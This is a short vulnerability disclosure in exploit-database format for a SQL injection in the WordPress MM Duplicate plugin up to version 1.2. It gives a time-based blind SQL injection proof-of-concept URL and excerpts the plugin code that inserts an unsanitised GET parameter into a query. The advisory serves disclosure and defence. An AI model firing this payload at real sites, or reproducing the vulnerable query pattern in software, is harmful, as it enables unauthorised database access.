# Exploit Title: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability
# Date: 2011-08-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mm-duplicate.zip
# Version: 1.2 (tested)
---
PoC
---
http://www.site.com/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
---------------
Vulnerable code
---------------
class mm_duplicate_pages_posts
{
...
function mm_duplicate_pages_posts()
{
...
add_action('init', array(&$this, 'dup'));
...
}
function dup()
{
if($_GET['duplicate'])
{
$id = $_GET['post'];
$dup = new mm_duplicate();
...
$dup->duplicate_post_page($id);
}
}
...
}
class mm_duplicate
{
function duplicate_post_page($id)
{
...
$select = "select * from ".$wpdb->prefix."postmeta where post_id = $id";
...
}
...
}
